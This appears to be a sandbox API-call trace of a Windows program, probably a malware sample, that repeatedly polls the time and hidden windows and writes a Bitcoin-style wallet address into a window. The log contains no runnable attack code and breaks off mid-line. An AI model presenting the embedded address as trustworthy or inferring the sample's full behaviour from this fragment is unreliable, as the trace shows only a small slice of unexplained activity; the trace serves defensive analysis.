[0180.518] IsWindowVisible (hWnd=0x40298) returned 0 [0180.518] Sleep (dwMilliseconds=0x0) [0180.565] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x1a5)) [0180.565] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.565] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.565] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.565] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.566] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.566] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.566] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.566] GetTickCount () returned 0x115dcd8 [0180.566] GetTickCount () returned 0x115dcd8 [0180.566] CoFreeUnusedLibraries () [0180.566] GetTickCount () returned 0x115dcd8 [0180.566] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.566] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.566] GetTickCount () returned 0x115dcd8 [0180.567] IsWindowVisible (hWnd=0x30268) returned 0 [0180.567] IsWindowVisible (hWnd=0x40298) returned 0 [0180.567] Sleep (dwMilliseconds=0x0) [0180.575] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x1a5)) [0180.575] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.575] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.575] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.576] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.576] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.576] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.576] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.576] GetTickCount () returned 0x115dcd8 [0180.576] GetTickCount () returned 0x115dcd8 [0180.576] CoFreeUnusedLibraries () [0180.576] GetTickCount () returned 0x115dcd8 [0180.576] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.576] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.576] GetTickCount () returned 0x115dcd8 [0180.577] IsWindowVisible (hWnd=0x30268) returned 0 [0180.577] IsWindowVisible (hWnd=0x40298) returned 0 [0180.577] Sleep (dwMilliseconds=0x0) [0180.579] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x1b4)) [0180.579] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.579] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.579] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.579] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.579] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.579] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.579] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.579] GetTickCount () returned 0x115dce8 [0180.579] GetTickCount () returned 0x115dce8 [0180.579] CoFreeUnusedLibraries () [0180.579] GetTickCount () returned 0x115dce8 [0180.579] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.580] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.580] GetTickCount () returned 0x115dce8 [0180.580] IsWindowVisible (hWnd=0x30268) returned 0 [0180.580] IsWindowVisible (hWnd=0x40298) returned 0 [0180.580] Sleep (dwMilliseconds=0x0) [0180.610] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x1d3)) [0180.610] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.610] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.610] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.610] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.611] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.611] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.611] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.611] GetTickCount () returned 0x115dd07 [0180.611] GetTickCount () returned 0x115dd07 [0180.611] CoFreeUnusedLibraries () [0180.611] GetTickCount () returned 0x115dd07 [0180.611] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.611] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.611] GetTickCount () returned 0x115dd07 [0180.611] IsWindowVisible (hWnd=0x30268) returned 0 [0180.611] IsWindowVisible (hWnd=0x40298) returned 0 [0180.611] Sleep (dwMilliseconds=0x0) [0180.641] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x1f3)) [0180.641] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.641] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.641] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.641] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.642] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.642] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.642] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 1 [0180.642] IsWindow (hWnd=0x70116) returned 1 [0180.642] GetWindowLongA (hWnd=0x70116, nIndex=-16) returned 1140916224 [0180.642] IsIconic (hWnd=0x40298) returned 0 [0180.642] GetParent (hWnd=0x70116) returned 0x40298 [0180.642] TranslateMessage (lpMsg=0x18ebf8) returned 0 [0180.642] DispatchMessageA (lpMsg=0x18ebf8) returned 0x0 [0180.643] KillTimer (hWnd=0x70116, uIDEvent=0x70116) returned 1 [0180.643] GetLocalTime (in: lpSystemTime=0x18e810 | out: lpSystemTime=0x18e810*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x1f3)) [0180.643] SysStringLen (param_1="9:06:02 PM") returned 0xa [0180.643] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="9:06:02 PM", cchWideChar=11, lpMultiByteStr=0x14da7ec, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="9:06:02 PM", lpUsedDefaultChar=0x0) returned 11 [0180.643] lstrcmpA (lpString1="9:06:01 PM", lpString2="9:06:02 PM") returned -1 [0180.643] lstrlenA (lpString="9:06:02 PM") returned 10 [0180.643] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xb) returned 0x3832f50 [0180.643] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832ea8 | out: hHeap=0x3820000) returned 1 [0180.643] InflateRect (in: lprc=0x18e780, dx=0, dy=0 | out: lprc=0x18e780) returned 1 [0180.643] InvalidateRect (hWnd=0x20264, lpRect=0x18e780, bErase=1) returned 1 [0180.643] CallWindowProcA (lpPrevWndFunc=0x77cbabb2, hWnd=0x40292, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x22 [0180.644] GetFocus () returned 0x40298 [0180.644] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x23) returned 0x383bb28 [0180.644] CallWindowProcA (lpPrevWndFunc=0x77cbabb2, hWnd=0x40292, Msg=0xd, wParam=0x23, lParam=0x383bb28) returned 0x22 [0180.644] GetFocus () returned 0x40298 [0180.644] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x383bb28, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 35 [0180.644] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x383bb28, cbMultiByte=-1, lpWideCharStr=0x1446d5c, cchWideChar=35 | out: lpWideCharStr="1MZJgjrDz6h6TPwRAxuh1gEWh2AETrNBAy") returned 35 [0180.644] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383bb28 | out: hHeap=0x3820000) returned 1 [0180.644] SysStringLen (param_1="1MZJgjrDz6h6TPwRAxuh1gEWh2AETrNBAy") returned 0x22 [0180.644] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1MZJgjrDz6h6TPwRAxuh1gEWh2AETrNBAy", cchWideChar=35, lpMultiByteStr=0x146c82c, cbMultiByte=69, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1MZJgjrDz6h6TPwRAxuh1gEWh2AETrNBAy", lpUsedDefaultChar=0x0) returned 35 [0180.644] SetWindowTextA (hWnd=0x3027a, lpString="1MZJgjrDz6h6TPwRAxuh1gEWh2AETrNBAy") returned 1 [0180.644] CallWindowProcA (lpPrevWndFunc=0x77cbabb2, hWnd=0x3027a, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x22 [0180.644] GetFocus () returned 0x40298 [0180.644] lstrlenA (lpString="1MZJgjrDz6h6TPwRAxuh1gEWh2AETrNBAy") returned 34 [0180.644] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0x23) returned 0x383bb28 [0180.644] GetWindowTextA (in: hWnd=0x3027a, lpString=0x383bb28, nMaxCount=35 | out: lpString="1MZJgjrDz6h6TPwRAxuh1gEWh2AETrNBAy") returned 34 [0180.645] CallWindowProcA (lpPrevWndFunc=0x77cbabb2, hWnd=0x3027a, Msg=0xd, wParam=0x23, lParam=0x383bb28) returned 0x22 [0180.645] GetFocus () returned 0x40298 [0180.645] lstrcmpA (lpString1="1MZJgjrDz6h6TPwRAxuh1gEWh2AETrNBAy", lpString2="1MZJgjrDz6h6TPwRAxuh1gEWh2AETrNBAy") returned 0 [0180.645] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383bb28 | out: hHeap=0x3820000) returned 1 [0180.645] SetTimer (hWnd=0x70116, nIDEvent=0x70116, uElapse=0x3e8, lpTimerFunc=0x0) returned 0x70116 [0180.645] PeekMessageA (in: lpMsg=0x18eb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x18eb74) returned 0 [0180.645] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.645] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.645] GetTickCount () returned 0x115dd26 [0180.646] IsWindowVisible (hWnd=0x30268) returned 0 [0180.646] IsWindowVisible (hWnd=0x40298) returned 0 [0180.646] Sleep (dwMilliseconds=0x0) [0180.657] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x202)) [0180.657] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.657] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.657] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.657] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.657] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.657] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.657] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.657] GetTickCount () returned 0x115dd36 [0180.657] GetTickCount () returned 0x115dd36 [0180.657] CoFreeUnusedLibraries () [0180.657] GetTickCount () returned 0x115dd36 [0180.657] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.657] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.657] GetTickCount () returned 0x115dd36 [0180.658] IsWindowVisible (hWnd=0x30268) returned 0 [0180.658] IsWindowVisible (hWnd=0x40298) returned 0 [0180.658] Sleep (dwMilliseconds=0x0) [0180.673] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x212)) [0180.673] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.673] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.673] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.673] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.673] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.673] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.673] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.673] GetTickCount () returned 0x115dd45 [0180.673] GetTickCount () returned 0x115dd45 [0180.674] CoFreeUnusedLibraries () [0180.674] GetTickCount () returned 0x115dd45 [0180.674] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.674] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.674] GetTickCount () returned 0x115dd45 [0180.674] IsWindowVisible (hWnd=0x30268) returned 0 [0180.674] IsWindowVisible (hWnd=0x40298) returned 0 [0180.674] Sleep (dwMilliseconds=0x0) [0180.680] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x212)) [0180.680] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.680] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.680] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.680] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.680] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.680] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.680] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.680] GetTickCount () returned 0x115dd45 [0180.681] GetTickCount () returned 0x115dd45 [0180.681] CoFreeUnusedLibraries () [0180.681] GetTickCount () returned 0x115dd45 [0180.681] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.681] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.681] GetTickCount () returned 0x115dd45 [0180.681] IsWindowVisible (hWnd=0x30268) returned 0 [0180.681] IsWindowVisible (hWnd=0x40298) returned 0 [0180.681] Sleep (dwMilliseconds=0x0) [0180.682] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x212)) [0180.683] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.683] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.683] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.683] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.683] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.683] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.683] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.683] GetTickCount () returned 0x115dd45 [0180.683] GetTickCount () returned 0x115dd45 [0180.683] CoFreeUnusedLibraries () [0180.683] GetTickCount () returned 0x115dd45 [0180.683] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.683] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.683] GetTickCount () returned 0x115dd45 [0180.684] IsWindowVisible (hWnd=0x30268) returned 0 [0180.684] IsWindowVisible (hWnd=0x40298) returned 0 [0180.684] Sleep (dwMilliseconds=0x0) [0180.684] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x212)) [0180.684] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.684] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.684] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.684] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.684] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.684] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.684] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.684] GetTickCount () returned 0x115dd45 [0180.684] GetTickCount () returned 0x115dd45 [0180.684] CoFreeUnusedLibraries () [0180.684] GetTickCount () returned 0x115dd45 [0180.684] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.684] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.684] GetTickCount () returned 0x115dd45 [0180.685] IsWindowVisible (hWnd=0x30268) returned 0 [0180.685] IsWindowVisible (hWnd=0x40298) returned 0 [0180.685] Sleep (dwMilliseconds=0x0) [0180.685] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x212)) [0180.685] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.685] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.685] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.685] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.685] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.685] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.685] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.685] GetTickCount () returned 0x115dd45 [0180.685] GetTickCount () returned 0x115dd45 [0180.685] CoFreeUnusedLibraries () [0180.685] GetTickCount () returned 0x115dd45 [0180.686] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.686] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.686] GetTickCount () returned 0x115dd45 [0180.686] IsWindowVisible (hWnd=0x30268) returned 0 [0180.686] IsWindowVisible (hWnd=0x40298) returned 0 [0180.686] Sleep (dwMilliseconds=0x0) [0180.686] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x212)) [0180.686] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.686] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.686] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: pvarResult=0x18ed2c) returned 0x0 [0180.686] VarCmp (pvarLeft=0x18ed2c, pvarRight=0x18ecec, lcid=0x0, dwFlags=0x30001) returned 0x0 [0180.686] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x8, Size=0x18) returned 0x383ec78 [0180.686] RtlAllocateHeap (HeapHandle=0x3820000, Flags=0x0, Size=0xc) returned 0x3832f08 [0180.686] PeekMessageA (in: lpMsg=0x18ebf8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18ebf8) returned 0 [0180.686] GetTickCount () returned 0x115dd45 [0180.686] GetTickCount () returned 0x115dd45 [0180.687] CoFreeUnusedLibraries () [0180.687] GetTickCount () returned 0x115dd45 [0180.687] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x3832f08 | out: hHeap=0x3820000) returned 1 [0180.687] HeapFree (in: hHeap=0x3820000, dwFlags=0x0, lpMem=0x383ec78 | out: hHeap=0x3820000) returned 1 [0180.687] GetTickCount () returned 0x115dd45 [0180.687] IsWindowVisible (hWnd=0x30268) returned 0 [0180.687] IsWindowVisible (hWnd=0x40298) returned 0 [0180.687] Sleep (dwMilliseconds=0x0) [0180.687] GetLocalTime (in: lpSystemTime=0x18ecac | out: lpSystemTime=0x18ecac*(wYear=0x7e4, wMonth=0x4, wDayOfWeek=0x3, wDay=0x1, wHour=0x15, wMinute=0x6, wSecond=0x2, wMilliseconds=0x212)) [0180.687] VarParseNumFromStr (in: strIn="1", lcid=0x409, dwFlags=0x80000000, pnumprs=0x18ec7c, rgbDig=0x18ec5c | out: pnumprs=0x18ec7c, rgbDig=0x18ec5c) returned 0x0 [0180.687] VarNumFromParseNum (in: pnumprs=0x18ec7c, rgbDig=0x18ec5c, dwVtBits=0x20, pvar=0x18ecac | out: pvar=0x18ecac) returned 0x0 [0180.687] VarSub (in: pvarLeft=0x18ed0c, pvarRight=0x18ed40, pvarResult=0x18ed2c | out: 